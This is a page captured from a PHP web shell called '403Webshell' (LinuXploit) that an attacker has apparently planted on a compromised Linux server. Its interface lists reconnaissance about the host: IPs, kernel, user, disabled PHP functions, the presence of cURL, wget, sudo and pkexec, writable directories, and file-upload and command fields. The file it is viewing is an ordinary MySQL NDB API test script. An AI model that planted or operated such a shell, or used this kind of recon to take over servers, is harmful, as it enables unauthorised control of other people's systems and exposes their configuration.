403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.176.161
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb/t/ndbapi-examples.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

# The programs want to connect to MySQL Server,they can't run with embedded
-- source include/not_embedded.inc

-- source include/have_ndb.inc
-- source include/have_ndbapi_examples.inc

# Connect using socket to the MySQL Server which mysqltest currently
# is connected to
let MASTER_MYSOCK=`select @@socket`;

# Setup path for log file
let NDB_EXAMPLES_OUTPUT=$MYSQLTEST_VARDIR/log/ndbapi_examples.log;

--echo Running ndb_ndbapi_simple
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_simple $MASTER_MYSOCK "$NDB_CONNECTSTRING" > $NDB_EXAMPLES_OUTPUT

--echo Running ndb_ndbapi_simple_index
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_simple_index $MASTER_MYSOCK "$NDB_CONNECTSTRING" >> $NDB_EXAMPLES_OUTPUT

--echo Running ndb_ndbapi_scan
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_scan $MASTER_MYSOCK "$NDB_CONNECTSTRING" >> $NDB_EXAMPLES_OUTPUT

--echo Running ndb_ndbapi_retries
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_retries $MASTER_MYSOCK "$NDB_CONNECTSTRING" >> $NDB_EXAMPLES_OUTPUT

--echo Running ndb_ndbapi_async
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_async $MASTER_MYSOCK "$NDB_CONNECTSTRING" >> $NDB_EXAMPLES_OUTPUT

--echo Running ndb_ndbapi_async1
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_async1 $MASTER_MYSOCK "$NDB_CONNECTSTRING" >> $NDB_EXAMPLES_OUTPUT

# Drop database created by test programs
drop database ndb_examples;

create table t0(c0 int, c1 int, c2 char(4), c3 char(4), c4 text,
                primary key(c0, c2)) engine ndb charset latin1;
#--echo Running ndb_ndbapi_event
#--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_event "$NDB_CONNECTSTRING" 1 >> $NDB_EXAMPLES_OUTPUT
insert into t0 values (1, 2, 'a', 'b', null);
insert into t0 values (3, 4, 'c', 'd', null);
update t0 set c3 = 'e' where c0 = 1 and c2 = 'a'; # use pk
update t0 set c3 = 'f'; # use scan
update t0 set c3 = 'F'; # use scan update to 'same'
update t0 set c2 = 'g' where c0 = 1; # update pk part
update t0 set c2 = 'G' where c0 = 1; # update pk part to 'same'
update t0 set c0 = 5, c2 = 'H' where c0 = 3; # update full PK
delete from t0;
drop table t0;

--echo Running mgmapi_logevent
--exec $NDB_EXAMPLES_DIR/ndb_mgmapi_logevent "$NDB_CONNECTSTRING" 1 >> $NDB_EXAMPLES_OUTPUT

--echo Running ndb_ndbapi_array_simple
create table api_array_simple(
  ATTR1 INT UNSIGNED NOT NULL PRIMARY KEY,
  ATTR2 CHAR(20) NOT NULL,
  ATTR3 VARCHAR(20) NOT NULL,
  ATTR4 VARCHAR(500) NOT NULL,
  ATTR5 BINARY(20),
  ATTR6 VARBINARY(20),
  ATTR7 VARBINARY(500)
) engine ndb charset latin1;
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_array_simple "$NDB_CONNECTSTRING" test
--echo Verify values stored in the table
select count(ATTR1) from api_array_simple;
drop table api_array_simple;

--echo Running ndb_ndbapi_array_using_adapter
CREATE TABLE api_array_using_adapter(
  ATTR1 INT UNSIGNED NOT NULL PRIMARY KEY,
  ATTR2 CHAR(20) NOT NULL,
  ATTR3 VARCHAR(20) NOT NULL,
  ATTR4 VARCHAR(500) NOT NULL,
  ATTR5 BINARY(20) NOT NULL,
  ATTR6 VARBINARY(20) NOT NULL,
  ATTR7 VARBINARY(500)
) engine ndb charset latin1;
--exec $NDB_EXAMPLES_DIR/ndb_ndbapi_array_using_adapter "$NDB_CONNECTSTRING" test
--echo Verify values stored in the table
select count(ATTR1) from api_array_using_adapter;
drop table api_array_using_adapter;


Youez - 2016 - github.com/yon3zu
LinuXploit